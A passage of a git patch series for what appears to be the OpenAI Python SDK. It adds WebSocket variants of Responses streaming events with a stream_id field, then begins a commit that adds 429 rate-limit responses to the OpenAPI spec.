+ "ResponseFileSearchCallWsSearching",
+ "ResponseFunctionCallArgumentsWsDelta",
+ "ResponseFunctionCallArgumentsWsDone",
+ "ResponseInWsProgress",
+ "ResponseWsFailed",
+ "ResponseWsIncomplete",
+ "ResponseOutputItemWsAdded",
+ "ResponseOutputItemWsDone",
+ "ResponseReasoningSummaryPartWsAdded",
+ "ResponseReasoningSummaryPartWsDone",
+ "ResponseReasoningSummaryTextWsDelta",
+ "ResponseReasoningSummaryTextWsDone",
+ "ResponseReasoningTextWsDelta",
+ "ResponseReasoningTextWsDone",
+ "ResponseRefusalWsDelta",
+ "ResponseRefusalWsDone",
+ "ResponseTextWsDelta",
+ "ResponseTextWsDone",
+ "ResponseWebSearchCallWsCompleted",
+ "ResponseWebSearchCallInWsProgress",
+ "ResponseWebSearchCallWsSearching",
+ "ResponseImageGenCallWsCompleted",
+ "ResponseImageGenCallWsGenerating",
+ "ResponseImageGenCallInWsProgress",
+ "ResponseImageGenCallPartialWsImage",
+ "ResponseMcpCallArgumentsWsDelta",
+ "ResponseMcpCallArgumentsWsDone",
+ "ResponseMcpCallWsCompleted",
+ "ResponseMcpCallWsFailed",
+ "ResponseMcpCallInWsProgress",
+ "ResponseMcpListToolsWsCompleted",
+ "ResponseMcpListToolsWsFailed",
+ "ResponseMcpListToolsInWsProgress",
+ "ResponseOutputTextAnnotationWsAdded",
+ "ResponseWsQueued",
+ "ResponseCustomToolCallInputWsDelta",
+ "ResponseCustomToolCallInputWsDone",
+]
+
+
+class ResponseAudioWsDelta(ResponseAudioDeltaEvent):
+ """Emitted when there is a partial audio response."""
+
+ stream_id: Optional[str] = None
+ """The WebSocket lane that emitted this event.
+
+ This field is present when the originating `response.create` event supplied a
+ `stream_id`.
+ """
+
+
+class ResponseAudioWsDone(ResponseAudioDoneEvent):
+ """Emitted when the audio response is complete."""
+
+ stream_id: Optional[str] = None
+ """The WebSocket lane that emitted this event.
+
+ This field is present when the originating `response.create` event supplied a
+ `stream_id`.
+ """
+
+
+class ResponseAudioTranscriptWsDelta(ResponseAudioTranscriptDeltaEvent):
+ """Emitted when there is a partial transcript of audio."""
+
+ stream_id: Optional[str] = None
+ """The WebSocket lane that emitted this event.
+
+ This field is present when the originating `response.create` event supplied a
+ `stream_id`.
+ """
+
+
+class ResponseAudioTranscriptWsDone(ResponseAudioTranscriptDoneEvent):
+ """Emitted when the full audio transcript is completed."""
+
+ stream_id: Optional[str] = None
+ """The WebSocket lane that emitted this event.
+
+ This field is present when the originating `response.create` event supplied a
+ `stream_id`.
+ """
+
+
+class ResponseCodeInterpreterCallCodeWsDelta(ResponseCodeInterpreterCallCodeDeltaEvent):
+ """Emitted when a partial code snippet is streamed by the code interpreter."""
+
+ stream_id: Optional[str] = None
+ """The WebSocket lane that emitted this event.
+
+ This field is present when the originating `response.create` event supplied a
+ `stream_id`.
+ """
+
+
+class ResponseCodeInterpreterCallCodeWsDone(ResponseCodeInterpreterCallCodeDoneEvent):
+ """Emitted when the code snippet is finalized by the code interpreter."""
+
+ stream_id: Optional[str] = None
+ """The WebSocket lane that emitted this event.
+
+ This field is present when the originating `response.create` event supplied a
+ `stream_id`.
+ """
+
+
+class ResponseCodeInterpreterCallWsCompleted(ResponseCodeInterpreterCallCompletedEvent):
+ """Emitted when the code interpreter call is completed."""
+
+ stream_id: Optional[str] = None
+ """The WebSocket lane that emitted this event.
+
+ This field is present when the originating `response.create` event supplied a
+ `stream_id`.
+ """
+
+
+class ResponseCodeInterpreterCallInWsProgress(ResponseCodeInterpreterCallInProgressEvent):
+ """Emitted when a code interpreter call is in progress."""
+
+ stream_id: Optional[str] = None
+ """The WebSocket lane that emitted this event.
+
+ This field is present when the originating `response.create` event supplied a
+ `stream_id`.
+ """
+
+
+class ResponseCodeInterpreterCallWsInterpreting(ResponseCodeInterpreterCallInterpretingEvent):
+ """Emitted when the code interpreter is actively interpreting the code snippet."""
+
+ stream_id: Optional[str] = None
+ """The WebSocket lane that emitted this event.
+
+ This field is present when the originating `response.create` event supplied a
+ `stream_id`.
+ """
+
+
+class ResponseWsCompleted(ResponseCompletedEvent):
+ """Emitted when the model response is complete."""
+
+ stream_id: Optional[str] = None
+ """The WebSocket lane that emitted this event.
+
+ This field is present when the originating `response.create` event supplied a
+ `stream_id`.
+ """
+
+
+class ResponseContentPartWsAdded(ResponseContentPartAddedEvent):
+ """Emitted when a new content part is added."""
+
+ stream_id: Optional[str] = None
+ """The WebSocket lane that emitted this event.
+
+ This field is present when the originating `response.create` event supplied a
+ `stream_id`.
+ """
+
+
+class ResponseContentPartWsDone(ResponseContentPartDoneEvent):
+ """Emitted when a content part is done."""
+
+ stream_id: Optional[str] = None
+ """The WebSocket lane that emitted this event.
+
+ This field is present when the originating `response.create` event supplied a
+ `stream_id`.
+ """
+
+
+class ResponseWsCreated(ResponseCreatedEvent):
+ """An event that is emitted when a response is created."""
+
+ stream_id: Optional[str] = None
+ """The WebSocket lane that emitted this event.
+
+ This field is present when the originating `response.create` event supplied a
+ `stream_id`.
+ """
+
+
+class ResponseWsError(ResponseErrorEvent):
+ """Emitted when an error occurs."""
+
+ stream_id: Optional[str] = None
+ """The WebSocket lane that emitted this event.
+
+ This field is present when the originating `response.create` event supplied a
+ `stream_id`.
+ """
+
+
+class ResponseFileSearchCallWsCompleted(ResponseFileSearchCallCompletedEvent):
+ """Emitted when a file search call is completed (results found)."""
+
+ stream_id: Optional[str] = None
+ """The WebSocket lane that emitted this event.
+
+ This field is present when the originating `response.create` event supplied a
+ `stream_id`.
+ """
+
+
+class ResponseFileSearchCallInWsProgress(ResponseFileSearchCallInProgressEvent):
+ """Emitted when a file search call is initiated."""
+
+ stream_id: Optional[str] = None
+ """The WebSocket lane that emitted this event.
+
+ This field is present when the originating `response.create` event supplied a
+ `stream_id`.
+ """
+
+
+class ResponseFileSearchCallWsSearching(ResponseFileSearchCallSearchingEvent):
+ """Emitted when a file search is currently searching."""
+
+ stream_id: Optional[str] = None
+ """The WebSocket lane that emitted this event.
+
+ This field is present when the originating `response.create` event supplied a
+ `stream_id`.
+ """
+
+
+class ResponseFunctionCallArgumentsWsDelta(ResponseFunctionCallArgumentsDeltaEvent):
+ """Emitted when there is a partial function-call arguments delta."""
+
+ stream_id: Optional[str] = None
+ """The WebSocket lane that emitted this event.
+
+ This field is present when the originating `response.create` event supplied a
+ `stream_id`.
+ """
+
+
+class ResponseFunctionCallArgumentsWsDone(ResponseFunctionCallArgumentsDoneEvent):
+ """Emitted when function-call arguments are finalized."""
+
+ stream_id: Optional[str] = None
+ """The WebSocket lane that emitted this event.
+
+ This field is present when the originating `response.create` event supplied a
+ `stream_id`.
+ """
+
+
+class ResponseInWsProgress(ResponseInProgressEvent):
+ """Emitted when the response is in progress."""
+
+ stream_id: Optional[str] = None
+ """The WebSocket lane that emitted this event.
+
+ This field is present when the originating `response.create` event supplied a
+ `stream_id`.
+ """
+
+
+class ResponseWsFailed(ResponseFailedEvent):
+ """An event that is emitted when a response fails."""
+
+ stream_id: Optional[str] = None
+ """The WebSocket lane that emitted this event.
+
+ This field is present when the originating `response.create` event supplied a
+ `stream_id`.
+ """
+
+
+class ResponseWsIncomplete(ResponseIncompleteEvent):
+ """An event that is emitted when a response finishes as incomplete."""
+
+ stream_id: Optional[str] = None
+ """The WebSocket lane that emitted this event.
+
+ This field is present when the originating `response.create` event supplied a
+ `stream_id`.
+ """
+
+
+class ResponseOutputItemWsAdded(ResponseOutputItemAddedEvent):
+ """Emitted when a new output item is added."""
+
+ stream_id: Optional[str] = None
+ """The WebSocket lane that emitted this event.
+
+ This field is present when the originating `response.create` event supplied a
+ `stream_id`.
+ """
+
+
+class ResponseOutputItemWsDone(ResponseOutputItemDoneEvent):
+ """Emitted when an output item is marked done."""
+
+ stream_id: Optional[str] = None
+ """The WebSocket lane that emitted this event.
+
+ This field is present when the originating `response.create` event supplied a
+ `stream_id`.
+ """
+
+
+class ResponseReasoningSummaryPartWsAdded(ResponseReasoningSummaryPartAddedEvent):
+ """Emitted when a new reasoning summary part is added."""
+
+ stream_id: Optional[str] = None
+ """The WebSocket lane that emitted this event.
+
+ This field is present when the originating `response.create` event supplied a
+ `stream_id`.
+ """
+
+
+class ResponseReasoningSummaryPartWsDone(ResponseReasoningSummaryPartDoneEvent):
+ """Emitted when a reasoning summary part is completed."""
+
+ stream_id: Optional[str] = None
+ """The WebSocket lane that emitted this event.
+
+ This field is present when the originating `response.create` event supplied a
+ `stream_id`.
+ """
+
+
+class ResponseReasoningSummaryTextWsDelta(ResponseReasoningSummaryTextDeltaEvent):
+ """Emitted when a delta is added to a reasoning summary text."""
+
+ stream_id: Optional[str] = None
+ """The WebSocket lane that emitted this event.
+
+ This field is present when the originating `response.create` event supplied a
+ `stream_id`.
+ """
+
+
+class ResponseReasoningSummaryTextWsDone(ResponseReasoningSummaryTextDoneEvent):
+ """Emitted when a reasoning summary text is completed."""
+
+ stream_id: Optional[str] = None
+ """The WebSocket lane that emitted this event.
+
+ This field is present when the originating `response.create` event supplied a
+ `stream_id`.
+ """
+
+
+class ResponseReasoningTextWsDelta(ResponseReasoningTextDeltaEvent):
+ """Emitted when a delta is added to a reasoning text."""
+
+ stream_id: Optional[str] = None
+ """The WebSocket lane that emitted this event.
+
+ This field is present when the originating `response.create` event supplied a
+ `stream_id`.
+ """
+
+
+class ResponseReasoningTextWsDone(ResponseReasoningTextDoneEvent):
+ """Emitted when a reasoning text is completed."""
+
+ stream_id: Optional[str] = None
+ """The WebSocket lane that emitted this event.
+
+ This field is present when the originating `response.create` event supplied a
+ `stream_id`.
+ """
+
+
+class ResponseRefusalWsDelta(ResponseRefusalDeltaEvent):
+ """Emitted when there is a partial refusal text."""
+
+ stream_id: Optional[str] = None
+ """The WebSocket lane that emitted this event.
+
+ This field is present when the originating `response.create` event supplied a
+ `stream_id`.
+ """
+
+
+class ResponseRefusalWsDone(ResponseRefusalDoneEvent):
+ """Emitted when refusal text is finalized."""
+
+ stream_id: Optional[str] = None
+ """The WebSocket lane that emitted this event.
+
+ This field is present when the originating `response.create` event supplied a
+ `stream_id`.
+ """
+
+
+class ResponseTextWsDelta(ResponseTextDeltaEvent):
+ """Emitted when there is an additional text delta."""
+
+ stream_id: Optional[str] = None
+ """The WebSocket lane that emitted this event.
+
+ This field is present when the originating `response.create` event supplied a
+ `stream_id`.
+ """
+
+
+class ResponseTextWsDone(ResponseTextDoneEvent):
+ """Emitted when text content is finalized."""
+
+ stream_id: Optional[str] = None
+ """The WebSocket lane that emitted this event.
+
+ This field is present when the originating `response.create` event supplied a
+ `stream_id`.
+ """
+
+
+class ResponseWebSearchCallWsCompleted(ResponseWebSearchCallCompletedEvent):
+ """Emitted when a web search call is completed."""
+
+ stream_id: Optional[str] = None
+ """The WebSocket lane that emitted this event.
+
+ This field is present when the originating `response.create` event supplied a
+ `stream_id`.
+ """
+
+
+class ResponseWebSearchCallInWsProgress(ResponseWebSearchCallInProgressEvent):
+ """Emitted when a web search call is initiated."""
+
+ stream_id: Optional[str] = None
+ """The WebSocket lane that emitted this event.
+
+ This field is present when the originating `response.create` event supplied a
+ `stream_id`.
+ """
+
+
+class ResponseWebSearchCallWsSearching(ResponseWebSearchCallSearchingEvent):
+ """Emitted when a web search call is executing."""
+
+ stream_id: Optional[str] = None
+ """The WebSocket lane that emitted this event.
+
+ This field is present when the originating `response.create` event supplied a
+ `stream_id`.
+ """
+
+
+class ResponseImageGenCallWsCompleted(ResponseImageGenCallCompletedEvent):
+ """
+ Emitted when an image generation tool call has completed and the final image is available.
+ """
+
+ stream_id: Optional[str] = None
+ """The WebSocket lane that emitted this event.
+
+ This field is present when the originating `response.create` event supplied a
+ `stream_id`.
+ """
+
+
+class ResponseImageGenCallWsGenerating(ResponseImageGenCallGeneratingEvent):
+ """
+ Emitted when an image generation tool call is actively generating an image (intermediate state).
+ """
+
+ stream_id: Optional[str] = None
+ """The WebSocket lane that emitted this event.
+
+ This field is present when the originating `response.create` event supplied a
+ `stream_id`.
+ """
+
+
+class ResponseImageGenCallInWsProgress(ResponseImageGenCallInProgressEvent):
+ """Emitted when an image generation tool call is in progress."""
+
+ stream_id: Optional[str] = None
+ """The WebSocket lane that emitted this event.
+
+ This field is present when the originating `response.create` event supplied a
+ `stream_id`.
+ """
+
+
+class ResponseImageGenCallPartialWsImage(ResponseImageGenCallPartialImageEvent):
+ """Emitted when a partial image is available during image generation streaming."""
+
+ stream_id: Optional[str] = None
+ """The WebSocket lane that emitted this event.
+
+ This field is present when the originating `response.create` event supplied a
+ `stream_id`.
+ """
+
+
+class ResponseMcpCallArgumentsWsDelta(ResponseMcpCallArgumentsDeltaEvent):
+ """
+ Emitted when there is a delta (partial update) to the arguments of an MCP tool call.
+ """
+
+ stream_id: Optional[str] = None
+ """The WebSocket lane that emitted this event.
+
+ This field is present when the originating `response.create` event supplied a
+ `stream_id`.
+ """
+
+
+class ResponseMcpCallArgumentsWsDone(ResponseMcpCallArgumentsDoneEvent):
+ """Emitted when the arguments for an MCP tool call are finalized."""
+
+ stream_id: Optional[str] = None
+ """The WebSocket lane that emitted this event.
+
+ This field is present when the originating `response.create` event supplied a
+ `stream_id`.
+ """
+
+
+class ResponseMcpCallWsCompleted(ResponseMcpCallCompletedEvent):
+ """Emitted when an MCP tool call has completed successfully."""
+
+ stream_id: Optional[str] = None
+ """The WebSocket lane that emitted this event.
+
+ This field is present when the originating `response.create` event supplied a
+ `stream_id`.
+ """
+
+
+class ResponseMcpCallWsFailed(ResponseMcpCallFailedEvent):
+ """Emitted when an MCP tool call has failed."""
+
+ stream_id: Optional[str] = None
+ """The WebSocket lane that emitted this event.
+
+ This field is present when the originating `response.create` event supplied a
+ `stream_id`.
+ """
+
+
+class ResponseMcpCallInWsProgress(ResponseMcpCallInProgressEvent):
+ """Emitted when an MCP tool call is in progress."""
+
+ stream_id: Optional[str] = None
+ """The WebSocket lane that emitted this event.
+
+ This field is present when the originating `response.create` event supplied a
+ `stream_id`.
+ """
+
+
+class ResponseMcpListToolsWsCompleted(ResponseMcpListToolsCompletedEvent):
+ """Emitted when the list of available MCP tools has been successfully retrieved."""
+
+ stream_id: Optional[str] = None
+ """The WebSocket lane that emitted this event.
+
+ This field is present when the originating `response.create` event supplied a
+ `stream_id`.
+ """
+
+
+class ResponseMcpListToolsWsFailed(ResponseMcpListToolsFailedEvent):
+ """Emitted when the attempt to list available MCP tools has failed."""
+
+ stream_id: Optional[str] = None
+ """The WebSocket lane that emitted this event.
+
+ This field is present when the originating `response.create` event supplied a
+ `stream_id`.
+ """
+
+
+class ResponseMcpListToolsInWsProgress(ResponseMcpListToolsInProgressEvent):
+ """
+ Emitted when the system is in the process of retrieving the list of available MCP tools.
+ """
+
+ stream_id: Optional[str] = None
+ """The WebSocket lane that emitted this event.
+
+ This field is present when the originating `response.create` event supplied a
+ `stream_id`.
+ """
+
+
+class ResponseOutputTextAnnotationWsAdded(ResponseOutputTextAnnotationAddedEvent):
+ """Emitted when an annotation is added to output text content."""
+
+ stream_id: Optional[str] = None
+ """The WebSocket lane that emitted this event.
+
+ This field is present when the originating `response.create` event supplied a
+ `stream_id`.
+ """
+
+
+class ResponseWsQueued(ResponseQueuedEvent):
+ """Emitted when a response is queued and waiting to be processed."""
+
+ stream_id: Optional[str] = None
+ """The WebSocket lane that emitted this event.
+
+ This field is present when the originating `response.create` event supplied a
+ `stream_id`.
+ """
+
+
+class ResponseCustomToolCallInputWsDelta(ResponseCustomToolCallInputDeltaEvent):
+ """Event representing a delta (partial update) to the input of a custom tool call."""
+
+ stream_id: Optional[str] = None
+ """The WebSocket lane that emitted this event.
+
+ This field is present when the originating `response.create` event supplied a
+ `stream_id`.
+ """
+
+
+class ResponseCustomToolCallInputWsDone(ResponseCustomToolCallInputDoneEvent):
+ """Event indicating that input for a custom tool call is complete."""
+
+ stream_id: Optional[str] = None
+ """The WebSocket lane that emitted this event.
+
+ This field is present when the originating `response.create` event supplied a
+ `stream_id`.
+ """
+
ResponsesServerEvent: TypeAlias = Annotated[
Union[
- ResponseAudioDeltaEvent,
- ResponseAudioDoneEvent,
- ResponseAudioTranscriptDeltaEvent,
- ResponseAudioTranscriptDoneEvent,
- ResponseCodeInterpreterCallCodeDeltaEvent,
- ResponseCodeInterpreterCallCodeDoneEvent,
- ResponseCodeInterpreterCallCompletedEvent,
- ResponseCodeInterpreterCallInProgressEvent,
- ResponseCodeInterpreterCallInterpretingEvent,
- ResponseCompletedEvent,
- ResponseContentPartAddedEvent,
- ResponseContentPartDoneEvent,
- ResponseCreatedEvent,
- ResponseErrorEvent,
- ResponseFileSearchCallCompletedEvent,
- ResponseFileSearchCallInProgressEvent,
- ResponseFileSearchCallSearchingEvent,
- ResponseFunctionCallArgumentsDeltaEvent,
- ResponseFunctionCallArgumentsDoneEvent,
- ResponseInProgressEvent,
- ResponseFailedEvent,
- ResponseIncompleteEvent,
- ResponseOutputItemAddedEvent,
- ResponseOutputItemDoneEvent,
- ResponseReasoningSummaryPartAddedEvent,
- ResponseReasoningSummaryPartDoneEvent,
- ResponseReasoningSummaryTextDeltaEvent,
- ResponseReasoningSummaryTextDoneEvent,
- ResponseReasoningTextDeltaEvent,
- ResponseReasoningTextDoneEvent,
- ResponseRefusalDeltaEvent,
- ResponseRefusalDoneEvent,
- ResponseTextDeltaEvent,
- ResponseTextDoneEvent,
- ResponseWebSearchCallCompletedEvent,
- ResponseWebSearchCallInProgressEvent,
- ResponseWebSearchCallSearchingEvent,
- ResponseImageGenCallCompletedEvent,
- ResponseImageGenCallGeneratingEvent,
- ResponseImageGenCallInProgressEvent,
- ResponseImageGenCallPartialImageEvent,
- ResponseMcpCallArgumentsDeltaEvent,
- ResponseMcpCallArgumentsDoneEvent,
- ResponseMcpCallCompletedEvent,
- ResponseMcpCallFailedEvent,
- ResponseMcpCallInProgressEvent,
- ResponseMcpListToolsCompletedEvent,
- ResponseMcpListToolsFailedEvent,
- ResponseMcpListToolsInProgressEvent,
- ResponseOutputTextAnnotationAddedEvent,
- ResponseQueuedEvent,
- ResponseCustomToolCallInputDeltaEvent,
- ResponseCustomToolCallInputDoneEvent,
+ ResponseAudioWsDelta,
+ ResponseAudioWsDone,
+ ResponseAudioTranscriptWsDelta,
+ ResponseAudioTranscriptWsDone,
+ ResponseCodeInterpreterCallCodeWsDelta,
+ ResponseCodeInterpreterCallCodeWsDone,
+ ResponseCodeInterpreterCallWsCompleted,
+ ResponseCodeInterpreterCallInWsProgress,
+ ResponseCodeInterpreterCallWsInterpreting,
+ ResponseWsCompleted,
+ ResponseContentPartWsAdded,
+ ResponseContentPartWsDone,
+ ResponseWsCreated,
+ ResponseWsError,
+ ResponseFileSearchCallWsCompleted,
+ ResponseFileSearchCallInWsProgress,
+ ResponseFileSearchCallWsSearching,
+ ResponseFunctionCallArgumentsWsDelta,
+ ResponseFunctionCallArgumentsWsDone,
+ ResponseInWsProgress,
+ ResponseWsFailed,
+ ResponseWsIncomplete,
+ ResponseOutputItemWsAdded,
+ ResponseOutputItemWsDone,
+ ResponseReasoningSummaryPartWsAdded,
+ ResponseReasoningSummaryPartWsDone,
+ ResponseReasoningSummaryTextWsDelta,
+ ResponseReasoningSummaryTextWsDone,
+ ResponseReasoningTextWsDelta,
+ ResponseReasoningTextWsDone,
+ ResponseRefusalWsDelta,
+ ResponseRefusalWsDone,
+ ResponseTextWsDelta,
+ ResponseTextWsDone,
+ ResponseWebSearchCallWsCompleted,
+ ResponseWebSearchCallInWsProgress,
+ ResponseWebSearchCallWsSearching,
+ ResponseImageGenCallWsCompleted,
+ ResponseImageGenCallWsGenerating,
+ ResponseImageGenCallInWsProgress,
+ ResponseImageGenCallPartialWsImage,
+ ResponseMcpCallArgumentsWsDelta,
+ ResponseMcpCallArgumentsWsDone,
+ ResponseMcpCallWsCompleted,
+ ResponseMcpCallWsFailed,
+ ResponseMcpCallInWsProgress,
+ ResponseMcpListToolsWsCompleted,
+ ResponseMcpListToolsWsFailed,
+ ResponseMcpListToolsInWsProgress,
+ ResponseOutputTextAnnotationWsAdded,
+ ResponseWsQueued,
+ ResponseCustomToolCallInputWsDelta,
+ ResponseCustomToolCallInputWsDone,
],
PropertyInfo(discriminator="type"),
]
From f38355ecdf69b231be218e572f591ce7f389a211 Mon Sep 17 00:00:00 2001
From: Alex Chang
Date: Fri, 14 Aug 2026 16:25:30 -0400
Subject: [PATCH 016/341] feat(api): Ultrafast tier, structured MCP and
websocket errors, separate websocket events (#3617)
## Summary
- Add GPT-5.5 dated and Pro model identifiers, the `ultrafast` Responses
service tier, and optional model shutdown dates, including support in
the handwritten Responses streaming and parsing helpers.
- Represent MCP tool-call failures with one reusable, discriminated
structured error model covering protocol, tool-execution, and HTTP
errors. Remove the previously advertised string variant because the API
neither returns nor accepts it.
- Correct Responses WebSocket error events to expose their actual nested
error payload, status, headers, sequence numbers, and stream IDs.
- Add typed output-text annotations, cache-only web-search controls, and
text/image completion-token usage; clarify completed reasoning-item
reuse and file-content responses.
Co-authored-by: apcha-oai <228803254+apcha-oai@users.noreply.github.com>
---
.castiron.stats.yml | 10 +-
api.md | 1 +
api_reference/openapi.transformed.yml | 1035 ++++++++++++++---
.../resources/beta/responses/responses.py | 97 +-
src/openai/resources/files.py | 8 +-
src/openai/resources/responses/api.md | 1 +
src/openai/resources/responses/responses.py | 79 +-
src/openai/types/beta/__init__.py | 2 +
.../types/beta/beta_mcp_tool_call_error.py | 36 +
.../beta/beta_mcp_tool_call_error_param.py | 33 +
src/openai/types/beta/beta_response.py | 9 +-
.../types/beta/beta_response_input_item.py | 3 +-
.../beta/beta_response_input_item_param.py | 3 +-
.../types/beta/beta_response_input_param.py | 3 +-
src/openai/types/beta/beta_response_item.py | 3 +-
.../types/beta/beta_response_output_item.py | 3 +-
.../beta_response_output_item_added_event.py | 8 +-
...onse_output_text_annotation_added_event.py | 95 +-
.../beta/beta_response_reasoning_item.py | 5 +
.../beta_response_reasoning_item_param.py | 5 +
.../types/beta/beta_responses_client_event.py | 9 +-
.../beta/beta_responses_client_event_param.py | 9 +-
.../types/beta/beta_responses_server_event.py | 75 +-
src/openai/types/beta/beta_web_search_tool.py | 7 +
.../types/beta/beta_web_search_tool_param.py | 7 +
.../types/beta/response_compact_params.py | 3 +
.../types/beta/response_create_params.py | 9 +-
src/openai/types/completion_usage.py | 9 +
.../types/conversations/conversation_item.py | 3 +-
src/openai/types/model.py | 4 +
src/openai/types/responses/__init__.py | 2 +
.../types/responses/mcp_tool_call_error.py | 36 +
.../responses/mcp_tool_call_error_param.py | 33 +
src/openai/types/responses/response.py | 6 +-
.../responses/response_compact_params.py | 3 +
.../types/responses/response_create_params.py | 6 +-
.../types/responses/response_input_item.py | 3 +-
.../responses/response_input_item_param.py | 3 +-
.../types/responses/response_input_param.py | 3 +-
src/openai/types/responses/response_item.py | 3 +-
.../types/responses/response_output_item.py | 3 +-
.../response_output_item_added_event.py | 8 +-
...onse_output_text_annotation_added_event.py | 93 +-
.../responses/response_reasoning_item.py | 5 +
.../response_reasoning_item_param.py | 5 +
.../types/responses/responses_client_event.py | 6 +-
.../responses/responses_client_event_param.py | 6 +-
.../types/responses/responses_server_event.py | 64 +-
src/openai/types/responses/web_search_tool.py | 7 +
.../types/responses/web_search_tool_param.py | 7 +
src/openai/types/shared/all_models.py | 2 +
src/openai/types/shared/chat_model.py | 1 +
src/openai/types/shared/responses_model.py | 2 +
src/openai/types/shared_params/chat_model.py | 1 +
.../types/shared_params/responses_model.py | 2 +
tests/lib/chat/test_completions.py | 18 +-
tests/lib/chat/test_completions_streaming.py | 3 +-
57 files changed, 1660 insertions(+), 245 deletions(-)
create mode 100644 src/openai/types/beta/beta_mcp_tool_call_error.py
create mode 100644 src/openai/types/beta/beta_mcp_tool_call_error_param.py
create mode 100644 src/openai/types/responses/mcp_tool_call_error.py
create mode 100644 src/openai/types/responses/mcp_tool_call_error_param.py
diff --git a/.castiron.stats.yml b/.castiron.stats.yml
index 7fb22f689b..3c4d8b56b2 100644
--- a/.castiron.stats.yml
+++ b/.castiron.stats.yml
@@ -1,6 +1,6 @@
schema_version: 1
-generation_id: 53946e0b-ca32-4724-9f42-4155beea8a67
-openapi_spec_hash: 15849b9fe3deb3c72da0825905cc0ad9
-openapi_transformed_spec_hash: 9a60ddf3a1c752e15eb43fce666d6da8
-config_hash: fcda4ecfe265daddba6fad25a8504a3f
-codegen_sha: c8ff09541f193ac6671e2b55556913971a35d54c
+generation_id: 23b52e55-fc5f-454a-afc7-2b3471cb6213
+openapi_spec_hash: cc58e691f33751629ca4de3100082edb
+openapi_transformed_spec_hash: 6e9129151e5404deb042f722a97bb2a9
+config_hash: a356ac9fd5606025cdc3db3f68432996
+codegen_sha: 551dd5f1bdfda258953f1286d691875a79b87acc
diff --git a/api.md b/api.md
index 5a0325dc54..7cd6359977 100644
--- a/api.md
+++ b/api.md
@@ -470,6 +470,7 @@ from openai.types.beta import (
BetaInlineSkillSource,
BetaLocalEnvironment,
BetaLocalSkill,
+ BetaMcpToolCallError,
BetaNamespaceTool,
BetaResponse,
BetaResponseApplyPatchToolCall,
diff --git a/api_reference/openapi.transformed.yml b/api_reference/openapi.transformed.yml
index 7c6feb66ad..0bc670a31f 100644
--- a/api_reference/openapi.transformed.yml
+++ b/api_reference/openapi.transformed.yml
@@ -93,6 +93,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ListAssistantsResponse'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: List assistants
group: assistants
@@ -201,6 +203,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/AssistantObject'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: Create assistant
group: assistants
@@ -360,6 +364,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/AssistantObject'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: Retrieve assistant
group: assistants
@@ -436,6 +442,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/AssistantObject'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: Modify assistant
group: assistants
@@ -530,6 +538,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/DeleteAssistantResponse'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: Delete assistant
group: assistants
@@ -593,6 +603,8 @@ paths:
text/event-stream:
schema:
$ref: '#/components/schemas/CreateSpeechResponseStreamEvent'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: Create speech
group: audio
@@ -703,6 +715,8 @@ paths:
text/event-stream:
schema:
$ref: '#/components/schemas/CreateTranscriptionResponseStreamEvent'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: Create transcription
group: audio
@@ -1257,6 +1271,8 @@ paths:
- $ref: '#/components/schemas/CreateTranslationResponseVerboseJson'
x-stainless-skip:
- go
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: Create translation
group: audio
@@ -1988,6 +2004,8 @@ paths:
text/event-stream:
schema:
$ref: '#/components/schemas/CreateChatCompletionStreamResponse'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: Create chat completion
group: chat
@@ -3120,6 +3138,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/CreateCompletionResponse'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: Create completion
group: completions
@@ -3289,6 +3309,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ContainerListResource'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: List containers
group: containers
@@ -3337,6 +3359,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ContainerResource'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: Create container
group: containers
@@ -3402,6 +3426,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ContainerResource'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: Retrieve container
group: containers
@@ -3439,6 +3465,8 @@ paths:
responses:
'200':
description: OK
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: Delete a container
group: containers
@@ -3484,6 +3512,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ContainerFileResource'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: Create container file
group: containers
@@ -3545,6 +3575,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ContainerFileListResource'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: List container files
group: containers
@@ -3595,6 +3627,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ContainerFileResource'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: Retrieve container file
group: containers
@@ -3632,6 +3666,8 @@ paths:
responses:
'200':
description: OK
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: Delete a container file
group: containers
@@ -3666,6 +3702,8 @@ paths:
responses:
'200':
description: Success
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: Retrieve container file content
group: containers
@@ -3723,6 +3761,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ConversationItemList'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: Create items
group: conversations
@@ -3918,6 +3958,8 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ConversationItemList'
+ '429':
+ $ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
name: List items
group: conversations
@@ -4009,6 +4051,8 @@ paths:
application/json:
schema:
